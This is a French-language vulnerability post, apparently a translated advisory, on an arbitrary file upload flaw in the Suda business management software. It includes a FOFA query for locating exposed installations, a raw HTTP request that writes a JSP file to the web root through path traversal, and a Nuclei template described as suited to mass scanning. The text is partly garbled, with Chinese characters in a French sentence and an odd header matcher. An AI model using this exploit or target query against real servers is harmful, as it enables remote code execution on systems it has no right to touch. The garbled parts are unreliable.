Vulnérabilité de téléchargement de fichiers arbitraire dans le système de gestion Suda

Description de la vulnérabilité

Le logiciel de gestion intégrée Suda, conçu pour unifier les flux d'achat, de vente, d'inventaire et de comptabilité des entreprises, est affecté par une faille de sécurité critique liée au téléchargement arbitraire de fichiers. En exploitant cette vulnérabilité, un acteur malveillant peut charger un script malveillant (webshell) sur le serveur cible, conduisant à une compromisison totale du système et à la prise de contrôle de la machine.

Versions concernées

Système de gestion Suda (toutes les versions actuelles)

Identification des cibles

Requête pour les moteurs de recherche Cyberespace (FOFA) : app="速达软件-公司产品"

Preuve de concept (PoC)

L'attaque consiste à envoyer une requête POST contenant du code JSP vers le point de terminaison vulnérable, en utilisant une traversée de chemin pour écrire le fichier à la racine du serveur web :

POST /report/DesignReportSave.jsp?report=../validate.jsp HTTP/1.1
Host: cible.exemple.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/octet-stream
Content-Length: 62

<% String payload = "UploadSuccess"; out.println(payload); %>

Pour vérifier l'exécution du code chargé, il suffit de naviguer vers le fichier nouvellement créé : /validate.jsp.

Détection automatisée (Nuclei)

Le modèle Nuclei ci-dessous permet d'identifier les systèmes vulnérables lors de campanges de扫描 en masse :

id: suda-arbitrary-upload

info:
  name: Suda Management System - Unrestricted File Upload
  severity: high
  description: Détection d'une faille de téléchargement de fichiers non filtré dans le système Suda permettant l'exécution de code à distance.

requests:
  - raw:
      - |
        POST /report/DesignReportSave.jsp?report=../scan_check.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: NucleiScanner
        Accept-Encoding: gzip, deflate
        Connection: close
        Content-Type: application/octet-stream
        Content-Length: 48

        <% String x="Ok"; out.print(x); %>

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: header
        words:
          - "200"

Étiquettes: Suda JSP file-upload RCE Nuclei

Publié le 28 septembre à 06h28